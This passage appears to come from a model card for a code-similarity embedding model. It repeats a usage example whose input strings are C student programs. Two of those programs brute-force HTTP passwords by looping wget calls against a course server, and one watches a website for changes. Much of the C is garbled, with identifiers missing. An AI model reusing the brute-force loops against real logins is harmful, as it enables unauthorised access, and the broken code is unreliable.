SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t 